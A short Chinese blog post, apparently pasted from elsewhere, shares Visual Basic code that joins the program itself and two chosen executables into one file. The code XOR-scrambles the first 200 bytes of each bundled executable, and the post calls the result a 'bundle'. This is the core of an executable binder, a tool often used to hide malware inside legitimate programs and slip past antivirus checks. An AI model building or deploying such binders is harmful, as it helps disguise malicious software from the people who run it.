vb读出二进制文件，合并两个文件

=========================================

Dim FileMe() As Byte,File1() As Byte,File2() As Byte

Dim Ii As Integer,Ss As String

'读入程序自身

Open App.Path & "\" & App.EXEName & ".exe" For Binary As #11

ReDim FileMe(FileLen(App.Path & "\" & App.EXEName & ".exe") - 1)

Get #11,FileMe

Close #11

'读入第一个可执行文件

Open Text1(1).Text For Binary As #1

ReDim File1(FileLen(Text1(1).Text) - 1)

Get #1,File1

'==============================================

'下面的这个循环我不知道干嘛的，望解~

For Ii = 1 To 200

Ss = File1(Ii - 1) Xor 99

File1(Ii - 1) = Ss

Next

'==============================================

Close #1

'读入第二个可执行文件

Open Text1(2).Text For Binary As #2

ReDim File2(FileLen(Text1(2).Text) - 1)

Get #2,File2

'=====================同上=====================

For Ii = 1 To 200

Ss = File2(Ii - 1) Xor 99

File2(Ii - 1) = Ss

Next

'==============================================

Close #2

'将程序自身+第一个exe+第二个exe合并到新文件

Open Text2.Text For Binary As #3

Put #3,FileMe

Put #3,File1

Put #3,File2

Put #3,PSW & StrMC

Put #3,App.EXEName & "|||" & FileLen(App.Path & "\" & App.EXEName & ".exe") & "////" & _

Mid(Text1(1).Text,InStrRev(Text1(1).Text,"\") + 1) & "|||" & FileLen(Text1(1).Text) & "////" & _

Mid(Text1(2).Text,InStrRev(Text1(2).Text,"\") + 1) & "|||" & FileLen(Text1(2).Text) & "////"

Close #3

MsgBox "捆绑成功: " & Text2.Text,vbinformation

=====================================================

此篇本人也忘了从哪里贴的，一只也没有看，先扔这边了。